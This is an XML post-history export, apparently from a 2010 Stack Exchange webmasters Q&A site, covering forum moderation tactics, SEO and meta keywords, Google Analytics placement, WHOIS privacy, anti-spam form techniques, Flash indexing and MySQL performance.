  <row Id="1344" PostHistoryTypeId="2" PostId="731" RevisionGUID="4d65b532-7af7-4012-8ddd-0173c3d0c63f" CreationDate="2010-07-12T15:31:31.733" UserId="26" Text="If you have a vibrant community, you will get a certain amount of this. Some approaches to consider when adding moderation layers.&#xD;&#xA;&#xD;&#xA;1. **Require payment to signup:**&#xD;&#xA;Some communities, like [Metafilter][1], have full-mods, but also charge a small fee for all users (MeFi charges $5) which cuts down somewhat. &#xD;&#xA;&#xD;&#xA;2. **Waiting periods:** They also set time limits on some of the things you can do with a new account. So you can post a comment, but you can't create a new post for a time period (I believe 7 days). Making it harder for a new account to do something can be helpful, but it can also turn off legitimate users.&#xD;&#xA;&#xD;&#xA;3. **Shaming:** Other comment communities, like BoingBoing, uses a shaming technique called &quot;[disemvowelling][2]&quot; - basically if your post is a bozo, it gets all the vowels removed and you look like an idiot.&#xD;&#xA;&#xD;&#xA;4. **Put user in Stealth Mode:** A sneakier tack is to simply allow the user to keep commenting, but completely hide their posts from all other users. They log in, and suddenly, mysteriously, nobody ever replies to their comments and threads. Now, if you have a public view, this falls down as a solution, because they catch on to the game quickly. But I always like this solution.&#xD;&#xA;&#xD;&#xA;5. **Moderate until proved non-bozo:** Yet another thing to do is to put all new users or all users below a certain threshold of activity on a site on probation. Everything they do gets moderated until they post X non-bozo comments, etc. Big overhead there, but it works well on mailing lists I've moderated.&#xD;&#xA;&#xD;&#xA;6. **Allow anything, but don't save anything:** A more unique solution is to simply never save anything, 4chan for example simply doesn't save anything -- no archives, no nothing. It invites and embraces bozos and all, but doesn't archive anything for more than a certain period of time, so there's less lasting effects of any one bozo. Note that 4chan still manages to need moderators, so even with this solution there's still a certain amount of overhead.&#xD;&#xA;&#xD;&#xA;7. **Give your mods tools:** Let them see views of user activity per user and per thread, along with IP addresses and other &quot;fingerprinty&quot; data (email, user-agent, typical time of login) so that they can see who's on and what's happening. Showing them this stuff helps them understand the site and be proactive when things get out of hand.&#xD;&#xA;&#xD;&#xA;IP banning is the first impulse everybody has, but it does occasionally grab innocent people, and for some jerky users, they're always at a different IP, which is a pain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.metafilter.com/&#xD;&#xA;  [2]: http://boingboing.net/2008/03/27/boing-boings-moderat.html" />
  <row Id="1345" PostHistoryTypeId="2" PostId="732" RevisionGUID="609be639-fcd1-4724-9935-654ef1e6d8ad" CreationDate="2010-07-12T15:34:41.687" UserId="233" Text="The fact is, [neither Google nor Bing][1] use meta keywords at all. Yahoo and other search engines at least index them, so they do count somewhat, but their weighting in ranking algorithms is very low.&#xD;&#xA;&#xD;&#xA;Adding meta keywords can only be useful when they are targeted to pages individually. In other words, a page about &quot;red mechanical widgets&quot; should have those three keywords on it, and similarly for &quot;blue electronic widgets&quot;. Putting &quot;red, blue, mechanical, electronic, widgets&quot; as your keywords across the site means they lose their effectiveness.&#xD;&#xA;&#xD;&#xA;To put this into perspective:&#xD;&#xA;&#xD;&#xA;1. Keywords are only useful when they are targeted and you spend more time on them.&#xD;&#xA;2. Keywords have zero or negligible impact on search rankings.&#xD;&#xA;&#xD;&#xA;I think it's clear to see that it's **not worth spending the time** on them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hobo-web.co.uk/seo-blog/index.php/meta-keywords/" />
  <row Id="1346" PostHistoryTypeId="16" PostId="732" RevisionGUID="609be639-fcd1-4724-9935-654ef1e6d8ad" CreationDate="2010-07-12T15:34:41.687" UserId="-1" />
  <row Id="1347" PostHistoryTypeId="2" PostId="733" RevisionGUID="d2a0e935-5e03-4e09-8fe6-5ec5dd892674" CreationDate="2010-07-12T15:35:48.037" UserId="19" Text="If you do a few searches for **Wildcard DNS** you'll be headed in the right direction. Here are a few ServerFault questions that address this.&#xD;&#xA;&#xD;&#xA;**For IIS**   &#xD;&#xA;http://serverfault.com/questions/84921/how-to-configure-iis-wildcards-for-account-subdomains-like-basecamp&#xD;&#xA;&#xD;&#xA;**For Apache**   &#xD;&#xA;http://serverfault.com/questions/63200/how-do-i-create-subdomain-names-dynamically" />
  <row Id="1348" PostHistoryTypeId="5" PostId="728" RevisionGUID="8fa8b95a-47d3-444a-84b1-127c25ed27a0" CreationDate="2010-07-12T15:45:20.423" UserId="108" Comment="deleted 124 characters in body" Text="You can put it anywhere you just get the most benefit from putting it in the header.  The full instruction to add it to your web page are here - http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html.&#xD;&#xA;&#xD;&#xA;You do want to put it inside of the head or body tags though. Just to be clear.  But beyond that you can do whatever you want." />
  <row Id="1349" PostHistoryTypeId="2" PostId="734" RevisionGUID="78dd24c6-9220-4a96-8d00-25e0c6d4a81a" CreationDate="2010-07-12T15:50:08.050" UserId="233" Text="To answer the question directly, the ONLY ways for a page to gain high rankings in Google are:&#xD;&#xA;&#xD;&#xA;1. Be relevant for the search term. This means having relevant text/keywords on the page (including the title, headings and URL).&#xD;&#xA;2. Have lots of links pointing to your page, preferably from quality sites that are well-ranked themselves.&#xD;&#xA;&#xD;&#xA;That's not to say the other answers posted are wrong, but they are all indirect versions of those two key rules. Having the best and freshest content means you will naturally gather more links over time. (Although I'll concede, the new &quot;speed factor&quot; doesn't really fit either of these criteria.)" />
  <row Id="1350" PostHistoryTypeId="2" PostId="735" RevisionGUID="e069304f-dc56-4e4f-b702-a2c03c134725" CreationDate="2010-07-12T15:50:18.097" UserId="225" Text="Try the [GA URL Builder][1] which also gives a (slightly vague) description of the URL components. &#xD;&#xA;&#xD;&#xA;You get to the reports via 'Traffic sources &gt; Campaigns' in GA.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55578" />
  <row Id="1351" PostHistoryTypeId="2" PostId="736" RevisionGUID="562ab4d5-23e8-4ada-a2a3-f6eca2388743" CreationDate="2010-07-12T15:53:05.160" UserId="191" Text="Whilst browsing [this question][1], some of the answers mentioned that certain registrars will replace your whois information with their own. Can anybody provide details on which registrars offer this service?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/704/how-can-i-hide-whois-information" />
  <row Id="1352" PostHistoryTypeId="1" PostId="736" RevisionGUID="562ab4d5-23e8-4ada-a2a3-f6eca2388743" CreationDate="2010-07-12T15:53:05.160" UserId="191" Text="Which DNS registrars will hide my WHOIS information?" />
  <row Id="1353" PostHistoryTypeId="3" PostId="736" RevisionGUID="562ab4d5-23e8-4ada-a2a3-f6eca2388743" CreationDate="2010-07-12T15:53:05.160" UserId="191" Text="&lt;web-hosting&gt;&lt;dns&gt;&lt;registrar&gt;&lt;whois&gt;" />
  <row Id="1354" PostHistoryTypeId="16" PostId="736" RevisionGUID="562ab4d5-23e8-4ada-a2a3-f6eca2388743" CreationDate="2010-07-12T15:53:05.160" UserId="191" />
  <row Id="1355" PostHistoryTypeId="5" PostId="721" RevisionGUID="fdf3507a-a64d-478f-9e05-e4e5ac036dfd" CreationDate="2010-07-12T15:57:46.983" UserId="42" Comment="clarification" Text="I'd like to go to the asynchronous Google Analytics script, but I'd rather not have it in the head (even though I know this is best practice).  &#xD;&#xA;&#xD;&#xA;So, is there any benefit of using the async code if it isn't in the head, and alternatively, would it be safe to place elsewhere high in the page, like just inside the opening body tag, or in a .NET user control that loads at the top of the page?&#xD;&#xA;&#xD;&#xA;EDIT: &#xD;&#xA;&#xD;&#xA;In the &lt;a href=&quot;http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html&quot;&gt;instructions&lt;/a&gt; Google states:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;If that isn't an option, you can still put the asynchronous snippet at the bottom of the page. You can also split your snippet to retain some of the benefits of asynchronous tracking.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;If I place the code there (without splitting) do I still benefit from asynchronous loading or is it negligible since it is at the bottom anyway.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1356" PostHistoryTypeId="2" PostId="737" RevisionGUID="af333ce4-503d-4352-ac54-e83274fa1387" CreationDate="2010-07-12T15:59:21.883" UserId="233" Text="The best solution: **use a spam filter**.&#xD;&#xA;&#xD;&#xA;I actually use Gmail to handle my POP3 email account for my business, because it's much easier to check email on different computers. Gmail's spam filters are the best in the world.&#xD;&#xA;&#xD;&#xA;So you can just display webmaster@example.com as your email address and forget about spam." />
  <row Id="1357" PostHistoryTypeId="2" PostId="738" RevisionGUID="3ceeba36-cb4f-4e3e-b359-fc8382e66418" CreationDate="2010-07-12T16:01:39.633" UserId="152" Text="Generally, anyone who offers Private Registration will 'hide' your information. That is still really just a thin veil of security, for US based registrars at least, as a subpoena will make them open up fairly quickly. " />
  <row Id="1358" PostHistoryTypeId="16" PostId="738" RevisionGUID="3ceeba36-cb4f-4e3e-b359-fc8382e66418" CreationDate="2010-07-12T16:01:39.633" UserId="-1" />
  <row Id="1359" PostHistoryTypeId="5" PostId="721" RevisionGUID="24cb3f75-bb2d-41b2-a946-d51dcda3cc9b" CreationDate="2010-07-12T16:03:27.777" UserId="42" Comment="grammar" Text="I'd like to go to the asynchronous Google Analytics script, but I'd rather not have it in the head (even though I know this is best practice).  &#xD;&#xA;&#xD;&#xA;So, is there any benefit of using the async code if it isn't in the head, and alternatively, would it be safe to place elsewhere high in the page, like just inside the opening body tag, or in a .NET user control that loads at the top of the page?&#xD;&#xA;&#xD;&#xA;EDIT: &#xD;&#xA;&#xD;&#xA;In the &lt;a href=&quot;http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html&quot;&gt;instructions&lt;/a&gt; Google states:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;If that isn't an option, you can still put the asynchronous snippet at the bottom of the page. You can also split your snippet to retain some of the benefits of asynchronous tracking.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;If I place the code there (without splitting) do I still benefit from asynchronous loading or is it negligible since it is at the bottom anyway?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1360" PostHistoryTypeId="5" PostId="709" RevisionGUID="b8551f0f-8156-4c07-8fca-8dbc0eff9611" CreationDate="2010-07-12T16:05:40.910" UserId="130" Comment="added 265 characters in body" Text="One possibility is that this is enticing people to follow a link that includes some kind of exploit in the query string. I don't see anything that looks like an exploit in the example posted in your question though.&#xD;&#xA;&#xD;&#xA;Another possibility is that the server that is being linked to has been compromised and is now being used by the spammer to host sites of which the server's operator may not approve.&#xD;&#xA;&#xD;&#xA;As per other answers, it could also be someone doing generic link spamming, although it seems unlikely that a government department would use (or at least endorse) this technique. It may be someone testing out a link spamming system before they use it for real." />
  <row Id="1361" PostHistoryTypeId="2" PostId="739" RevisionGUID="6d12d4ad-6849-435a-a29d-527f840ae1fe" CreationDate="2010-07-12T16:08:48.817" UserId="130" Text="The many and varied companies offering this service appear to be well summarised by this [Google search][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=domain+whois+private+registration" />
  <row Id="1362" PostHistoryTypeId="16" PostId="739" RevisionGUID="6d12d4ad-6849-435a-a29d-527f840ae1fe" CreationDate="2010-07-12T16:08:48.817" UserId="-1" />
  <row Id="1363" PostHistoryTypeId="2" PostId="740" RevisionGUID="a2e73d32-ce23-4818-ad28-168823e5948e" CreationDate="2010-07-12T16:13:38.657" UserId="233" Text="PageRank (PR) is a general measure of how many links point to your page. Note that as the name implies, PageRank is based on *pages* not sites. So every single page on your site has its own PR - usually the home page is the highest but that's not always the case.&#xD;&#xA;&#xD;&#xA;The more pages link to yours, the higher your PR goes. It is a weighted algorithm, so pages with higher PR will have a bigger effect than pages with low PR.&#xD;&#xA;&#xD;&#xA;The actual PageRank number you will see is an integer from 0 to 10 inclusive. 0 usually means the page has not been factored into the PR &quot;graph&quot; yet. It's also a logarithmic scale so for example if it took 100 links to go from PR1 to PR2 is may take 1000 or more to go to PR3.&#xD;&#xA;&#xD;&#xA;You can check the page rank of any URL using the [Google Toolbar][1], or at [prchecker.info][2]&#xD;&#xA;&#xD;&#xA;The best advice is *not to worry about your PageRank*. Just focus on getting links from good sites and creating relevant content and you'll be fine.&#xD;&#xA;&#xD;&#xA;  [1]: http://toolbar.google.com&#xD;&#xA;  [2]: http://prchecker.info/&#xD;&#xA;" />
  <row Id="1364" PostHistoryTypeId="2" PostId="741" RevisionGUID="68d9b25e-a1f6-44df-858b-00843316de93" CreationDate="2010-07-12T16:31:39.250" UserId="233" Text="The DMOZ home page has a page rank of 8/10, and even [sub-sub-sub-sub-categories][1] still have decent page rank.&#xD;&#xA;&#xD;&#xA;So getting a DMOZ link is definitely a good idea. One link on its own will only make a small difference, but like Jeff said, it is still used by many other sites too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/Computers/Internet/Web_Design_and_Development/Designers/Full_Service/A/" />
  <row Id="1365" PostHistoryTypeId="5" PostId="696" RevisionGUID="7ffc1949-f373-45db-8d69-0cd913fecb2f" CreationDate="2010-07-12T17:03:26.260" UserId="180" Comment="added 42 characters in body" Text="It is impossible to configure logging of the #fragment portion of the URL because your web server never sees it.  From [RFC3986][1]&#xD;&#xA;&#xD;&#xA;&gt; the fragment identifier is separated from the rest of the URI prior to a dereference, and thus the identifying information within the fragment itself is dereferenced solely by the user agent, regardless of the URI scheme.  Although this separate handling is often perceived to be a loss of information, particularly for accurate redirection of references as resources move over time, it also serves to prevent information providers from denying reference authors the right to refer to information within a resource selectively.  Indirect referencing also provides additional flexibility and extensibility to systems that use URIs, as new media types are easier to define and deploy than new schemes of identification.&#xD;&#xA;&#xD;&#xA;What this means is that the web browser basically strips off the anchor part of the URI before sending it to the web server.  The [HTTP protocol][2] doesn't even deal with fragments because of this; they're never sent over the wire.&#xD;&#xA;&#xD;&#xA;That said, it's relatively easy to use AJAX to log fragment use (fragments are available to JavaScript as part of the location.href property).  You can confirm that the fragment is valid by searching the document.anchors[] array on the name property.  I don't know of any out-of-the-box tools that do this though, and I'm not convinced that it's worth the effort.&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc3986#page-24&#xD;&#xA;  [2]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.2.2" />
  <row Id="1366" PostHistoryTypeId="2" PostId="742" RevisionGUID="bf70a400-42de-4277-a4b4-8f1e41c6e9f9" CreationDate="2010-07-12T17:06:12.263" UserId="210" Text="This question comes from: http://webmasters.stackexchange.com/questions/695/how-to-avoid-hotmail-live-rejections-for-legit-large-volume-emailing&#xD;&#xA;&#xD;&#xA;I never knew about this for Hotmail and I'm wondering if there are similar services for Google, Yahoo or others. I work on a few newsletter managers and I want to make sure the emails are getting to their recipients." />
  <row Id="1367" PostHistoryTypeId="1" PostId="742" RevisionGUID="bf70a400-42de-4277-a4b4-8f1e41c6e9f9" CreationDate="2010-07-12T17:06:12.263" UserId="210" Text="Are there other &quot;approval&quot; services for other email providers, like SenderID for Hotmail?" />
  <row Id="1368" PostHistoryTypeId="3" PostId="742" RevisionGUID="bf70a400-42de-4277-a4b4-8f1e41c6e9f9" CreationDate="2010-07-12T17:06:12.263" UserId="210" Text="&lt;spam&gt;&lt;email&gt;&lt;bulk-email&gt;&lt;hotmail&gt;&lt;live&gt;" />
  <row Id="1369" PostHistoryTypeId="6" PostId="720" RevisionGUID="de9fa3cb-c8c3-4468-859e-ba3ac4ff2f5d" CreationDate="2010-07-12T17:24:52.497" UserId="26" Comment="edited tags" Text="&lt;moderation&gt;&lt;community&gt;" />
  <row Id="1370" PostHistoryTypeId="2" PostId="743" RevisionGUID="af577ed5-2e31-40a4-bd4b-c5f6c4e42d90" CreationDate="2010-07-12T17:28:56.687" UserId="120" Text="**Use a combination of timestamp, spinner, field names, and honeypots...**&#xD;&#xA;&#xD;&#xA;Read [this article][1] for the detailed example.&#xD;&#xA;&#xD;&#xA;A **timestamp** is exactly what it sounds like. A hidden field that marks the time when the form was originally opened. This defeats playback bots that copy a form and replay back the submission process over and over with different data each time. If the timestamp isn't close enough in relation to when the form is submitted the submission is automatically rejected.&#xD;&#xA;&#xD;&#xA;A **spinner** is a hash using data from the timestamp, IP address, entry ID of the article, and a secret.&#xD;&#xA;&#xD;&#xA;**Field names** are all generated by applying the hash to the 'real' field names. By comparing the field names with the spinner during the post-processing stage you can verify whether the person/or bot is the same as the one who originally opened the form.&#xD;&#xA;&#xD;&#xA;The **Honeypot** has already been explained by @D4V360. It's essentially a hidden field that acts as an invisible trap for bots. If it's filled in with data then the form is automatically rejected.&#xD;&#xA;&#xD;&#xA;  [1]: http://nedbatchelder.com/text/stopbots.html" />
  <row Id="1371" PostHistoryTypeId="5" PostId="696" RevisionGUID="42666c7d-cfe9-425f-bb59-0233d5ab52fd" CreationDate="2010-07-12T17:39:04.533" UserId="180" Comment="Removed judgemental statement.  Linked to @pelms' insightful answer on using GA" Text="It is impossible to configure logging of the #fragment portion of the URL because your web server never sees it.  From [RFC3986][1]&#xD;&#xA;&#xD;&#xA;&gt; the fragment identifier is separated from the rest of the URI prior to a dereference, and thus the identifying information within the fragment itself is dereferenced solely by the user agent, regardless of the URI scheme.  Although this separate handling is often perceived to be a loss of information, particularly for accurate redirection of references as resources move over time, it also serves to prevent information providers from denying reference authors the right to refer to information within a resource selectively.  Indirect referencing also provides additional flexibility and extensibility to systems that use URIs, as new media types are easier to define and deploy than new schemes of identification.&#xD;&#xA;&#xD;&#xA;What this means is that the web browser basically strips off the anchor part of the URI before sending it to the web server.  The [HTTP protocol][2] doesn't even deal with fragments because of this; they're never sent over the wire.&#xD;&#xA;&#xD;&#xA;Fragments are available to JavaScript (because it's client-side) as part of the location.href property.  Once obtaining the fragment name, you can confirm that it is valid by searching the document.anchors[] array elements' name property for that value.&#xD;&#xA;&#xD;&#xA;Once you've done this, it can be logged using AJAX or, as [pelms notes][3], passed to Google Analytics or similar services.&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc3986#page-24&#xD;&#xA;  [2]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.2.2&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/692/are-missing-anchors-logged/727#727" />
  <row Id="1372" PostHistoryTypeId="2" PostId="744" RevisionGUID="c220462b-73e8-4c43-8336-7aba6aaa8834" CreationDate="2010-07-12T17:40:10.133" UserId="234" Text="You can take a look at sites like http://flippa.com/ where people are buying and selling websites. There you can search for similar websites like yours and see what price they have been sold for.&#xD;&#xA;" />
  <row Id="1373" PostHistoryTypeId="2" PostId="745" RevisionGUID="f3969f28-54e0-47ea-8ee1-688cd44b0958" CreationDate="2010-07-12T17:55:36.873" UserId="19" Text="This is speaking from my own experience (and perhaps I am **VERY** foolish because of this) but I tend to put way more trust in a website when it has lots of logos on it from TechCrunch, NYT, ZDnet, Time, etc. The following page on mint.com is an example of this. http://www.mint.com/product/awards/&#xD;&#xA;&#xD;&#xA;I am not sure why this approach gives me more peace of mind than &quot;Secured by McAfee&quot; does, but it does.&#xD;&#xA;" />
  <row Id="1374" PostHistoryTypeId="2" PostId="746" RevisionGUID="542fcbef-81d8-4246-814b-b6267b7cd31d" CreationDate="2010-07-12T17:57:31.317" UserId="152" Text="Rel='nofollow' all untrusted outgoing links." />
  <row Id="1375" PostHistoryTypeId="16" PostId="746" RevisionGUID="542fcbef-81d8-4246-814b-b6267b7cd31d" CreationDate="2010-07-12T17:57:31.317" UserId="152" />
  <row Id="1376" PostHistoryTypeId="4" PostId="692" RevisionGUID="f2c5b1fd-5c1b-407a-882f-873a59fcbf33" CreationDate="2010-07-12T18:14:01.190" UserId="124" Comment="better title" Text="Can missing anchors be logged?" />
  <row Id="1377" PostHistoryTypeId="2" PostId="747" RevisionGUID="4fa4a854-e6b1-4de3-b68e-2bbb2efd6ea8" CreationDate="2010-07-12T18:21:50.767" UserId="124" Text="[Akismet][1] is free for personal use. It's from the makers of WordPress and will work with many platforms. There are [libraries][2] available for Python, PHP, ColdFusion, .Net, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://akismet.com/&#xD;&#xA;  [2]: http://akismet.com/development/" />
  <row Id="1378" PostHistoryTypeId="6" PostId="2" RevisionGUID="1936a222-c185-4fda-b0ef-4d8cfcadae30" CreationDate="2010-07-12T19:24:03.050" UserId="233" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;ranking&gt;" />
  <row Id="1379" PostHistoryTypeId="2" PostId="748" RevisionGUID="af560be1-14f3-4966-8360-71dbac47edff" CreationDate="2010-07-12T19:29:36.267" UserId="233" Text="Adsense is very easy to set up and configure, so even if it turns out you don't earn much from it, it would definitely be worth trialling it." />
  <row Id="1380" PostHistoryTypeId="5" PostId="542" RevisionGUID="0cf0d70b-176b-4797-8b0c-06bdc6706953" CreationDate="2010-07-12T20:03:57.603" UserId="210" Comment="added 129 characters in body" Text="I've been using [Twilio][1] for [voice][2] and I've been quite impressed. I'm sure their [SMS][3] system isn't much different. This will allow you to send to any carrier without knowing the email address to send to (as I've noticed they change over time).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.twilio.com/&#xD;&#xA;  [2]: http://www.twilio.com/how-twilio-works&#xD;&#xA;  [3]: http://www.twilio.com/sms/" />
  <row Id="1381" PostHistoryTypeId="2" PostId="749" RevisionGUID="9df3e0f1-04a0-4396-abe3-af16c886c2a6" CreationDate="2010-07-12T20:08:46.063" UserId="233" Text="Removing some unused CSS will obviously improve load times on one page, but you also have to balance that with the effect over several pages. You also want to avoid too many HTTP requests.&#xD;&#xA;&#xD;&#xA;Remember, gzipping CSS is by far the most effective way to speed up CSS loading. The difference between one file with everything in and another with a few unnecessary blocks removed is negligible after gzip." />
  <row Id="1382" PostHistoryTypeId="2" PostId="750" RevisionGUID="4207d459-45fe-454a-95bc-1060e2e3c1b1" CreationDate="2010-07-12T20:19:35.227" UserId="180" Text="These are both just from personal experience, so take them for what they're worth:&#xD;&#xA;&#xD;&#xA;- Ensure that your site is reliable.  If Google picks up a lot of error codes when indexing your site, you may see a decrease in your placement in the results.&#xD;&#xA;&#xD;&#xA;- Don't change too much at once.  If you're constantly churning your site structure, titles, in-text keywords and other factors, Google doesn't ever get a chance to &quot;settle in&quot;." />
  <row Id="1383" PostHistoryTypeId="2" PostId="751" RevisionGUID="f2c7ba60-7be7-4076-9f26-aaf60b7b00a2" CreationDate="2010-07-12T20:28:02.337" UserId="233" Text="I generally combine &quot;global Javascript&quot; - jQuery and common plugins - into a single file, and then serve up extra plugins as separate files when required.&#xD;&#xA;&#xD;&#xA;For example, one site I run many of the pages have data tables on them so I have a `global.js` with jQuery, DataTables and SuperFish (for my menu). There are two pages on the site that use a &quot;lightbox&quot; so I have a separate script for those two pages.&#xD;&#xA;&#xD;&#xA;For CSS, I just serve a single file for the entire site and try to make the CSS as general as possible - most pages only have a few unique CSS elements." />
  <row Id="1384" PostHistoryTypeId="2" PostId="752" RevisionGUID="a6eff0f9-75c5-47ac-96fe-bb8c669ec3cd" CreationDate="2010-07-12T20:41:45.923" UserId="180" Text="While it's definitely recommended to use as few files as possible, you may find that you have a split between functionality that is required at page load, and functionality that can be deferred through asynchronous loading.&#xD;&#xA;&#xD;&#xA;If enough of your JS can be pushed into the second category, you can improve the perceived  initial load speed of the page, creating a better experience for your users.&#xD;&#xA;" />
  <row Id="1385" PostHistoryTypeId="2" PostId="753" RevisionGUID="8479490a-1c5c-4d66-b060-a218da67fc6e" CreationDate="2010-07-12T20:42:57.543" UserId="113" Text="I've got a website where just about all the content is in a flash movie. Is there anything I can do to improve my search engine ranking or make my content more indexable?" />
  <row Id="1386" PostHistoryTypeId="1" PostId="753" RevisionGUID="8479490a-1c5c-4d66-b060-a218da67fc6e" CreationDate="2010-07-12T20:42:57.543" UserId="113" Text="How can I make my flash website more search engine friendly?" />
  <row Id="1387" PostHistoryTypeId="3" PostId="753" RevisionGUID="8479490a-1c5c-4d66-b060-a218da67fc6e" CreationDate="2010-07-12T20:42:57.543" UserId="113" Text="&lt;seo&gt;&lt;flash&gt;" />
  <row Id="1388" PostHistoryTypeId="2" PostId="754" RevisionGUID="6e95ff90-98ca-4f89-a7df-69c1c4a464d3" CreationDate="2010-07-12T20:48:18.357" UserId="233" Text="First up, using Javascript to add invalid attributes to elements is *exactly as bad* as putting them in the HTML in the first instance. You're just masking the &quot;problem&quot;.&#xD;&#xA;&#xD;&#xA;Second, I said this in another answer but the key to good validation is knowing what are the important errors to tackle. Will adding `target=&quot;_blank&quot;` to a link negatively affect someone using a particular browser? No - either the link will open in a new window, or it won't. It won't break the layout or crash their browser or anything.&#xD;&#xA;&#xD;&#xA;A strict doctype* is the only sensible choice for new web pages, because it massively reduces cross-browser problems, moreso than any other technique. But using a strict doctype doesn't mean your code must be 100% valid to the spec. It's okay to use technically invalid attributes as long as you are aware of the consequences (or lack of) when a browser might not support a feature.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;\* Personally I love the HTML5 doctype: `&lt;!DOCTYPE html&gt;`.  &#xD;&#xA;Incredibly easy to remember and it forces strict mode in all browsers, even IE6.&lt;/sub&gt;" />
  <row Id="1389" PostHistoryTypeId="2" PostId="755" RevisionGUID="2484aa96-f0d1-4f84-8536-aecb3d45b996" CreationDate="2010-07-12T20:48:24.143" UserId="19" Text="Yes you can. This article explains it fairly well.&#xD;&#xA;&#xD;&#xA;http://www.actionscript.org/resources/articles/1007/1/Flash-SEO-Best-Practice/Page1.html&#xD;&#xA;&#xD;&#xA;**My opinion on the matter (take it or leave it)**  &#xD;&#xA;It is a real pain in the butt in my opinion. I would highly advise you to abandon an all-flash website. Take the time you would put into making it SEO-friendly and rebuild it using HTML." />
  <row Id="1390" PostHistoryTypeId="2" PostId="756" RevisionGUID="7c1ef071-55c6-4ec6-a933-1677c1d6a202" CreationDate="2010-07-12T21:06:37.360" UserId="26" Text="My shared-host tells me that they're throttling my website because of MySQL, what can I do?&#xD;&#xA;&#xD;&#xA;I'm not familiar enough with performance tuning of MySQL, generally MySQL just works for me. What questions do I need to ask to figure out how to fix this? Is this memory? Is this processor? Is this configuration of MySQL? Assuming I get access to the slow query log, what will it take for me to make sense of it?&#xD;&#xA;&#xD;&#xA;I'm asking this as a generic, but I have run into this many times and generally it's a substandard host. Changing to a better host and implementing caching usually does the trick. But what are the most important settings to consider in order of priority?" />
  <row Id="1391" PostHistoryTypeId="1" PostId="756" RevisionGUID="7c1ef071-55c6-4ec6-a933-1677c1d6a202" CreationDate="2010-07-12T21:06:37.360" UserId="26" Text="My shared-host tells me that they're throttling my website because of MySQL, what can I do?" />
  <row Id="1392" PostHistoryTypeId="3" PostId="756" RevisionGUID="7c1ef071-55c6-4ec6-a933-1677c1d6a202" CreationDate="2010-07-12T21:06:37.360" UserId="26" Text="&lt;shared-hosting&gt;&lt;mysql&gt;&lt;throttling&gt;" />
  <row Id="1393" PostHistoryTypeId="2" PostId="757" RevisionGUID="5c1daac5-b95d-4d8e-acdb-2826be5f904b" CreationDate="2010-07-12T21:08:51.800" UserId="72" Text="When a bot comes to your page you can display all the text contained in the flash instead of the flash. This way you will be able to select what text will be index and your page will have content associated to it." />
  <row Id="1394" PostHistoryTypeId="2" PostId="758" RevisionGUID="6d92fd3e-cb5e-40c3-8c6d-a646a45c6660" CreationDate="2010-07-12T21:26:02.397" UserId="210" Text="Probably the biggest thing to check if is you have keys on the fields you are querying on. Having the right keys and fields will make your queries considerably faster. You can determine if your keys are being used by running the query with `EXPLAIN` in front of it, such as `EXPLAIN SELECT * FROM table WHERE id = 2;` You can add `EXPLAIN` on queries in the slow query log to see what they are or aren't using.&#xD;&#xA;&#xD;&#xA;You may also want to considering caching data if you are selecting the same data out of a table often. This can be done by storing the resulting page (such as the actual HTML or a portion of) or storing the result of the query (such as the IDs, so you don't have to query on a text field).&#xD;&#xA;&#xD;&#xA;You will also want to avoid querying text fields with `LIKE %text%` too often. These can be quite slow.&#xD;&#xA;&#xD;&#xA;Also, search the web for MySQL query optimization (or combination thereof). There are a tonne of different methods and not every method will work for you site, so it's most trial an error, but keys will definitely improve the speed of MySQL and reduce it's load." />
  <row Id="1395" PostHistoryTypeId="2" PostId="759" RevisionGUID="5a7e315a-202a-438f-b491-955533775b4a" CreationDate="2010-07-12T21:32:31.247" UserId="26" Text="A few links on Flash SWF file indexability:&#xD;&#xA;&#xD;&#xA; - [SWF searchability FAQ][1] (Adobe)&#xD;&#xA; - [Flash and other rich media files][2] (Google)&#xD;&#xA;&#xD;&#xA;What Google has to say is:&#xD;&#xA;&#xD;&#xA;&gt; Google can now discover and index text&#xD;&#xA;&gt; content in SWF files of all kinds,&#xD;&#xA;&gt; including self-contained Flash&#xD;&#xA;&gt; websites and Flash gadgets such as&#xD;&#xA;&gt; buttons or menus. This includes all&#xD;&#xA;&gt; textual content visible to the user.&#xD;&#xA;&gt; Google supports common JavaScript&#xD;&#xA;&gt; techniques. In addition, we can now&#xD;&#xA;&gt; find and follow URLs embedded in Flash&#xD;&#xA;&gt; files. We'll crawl and index this&#xD;&#xA;&gt; content in the same way that we crawl&#xD;&#xA;&gt; and index other content on your&#xD;&#xA;&gt; site—you don't need to take any&#xD;&#xA;&gt; special action. However, we don't&#xD;&#xA;&gt; guarantee that we'll crawl or index&#xD;&#xA;&gt; all the content, Flash or otherwise.&#xD;&#xA;&#xD;&#xA;I've never seen significant search traffic to Flash files.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adobe.com/devnet/flashplayer/articles/swf_searchability.html&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=72746" />
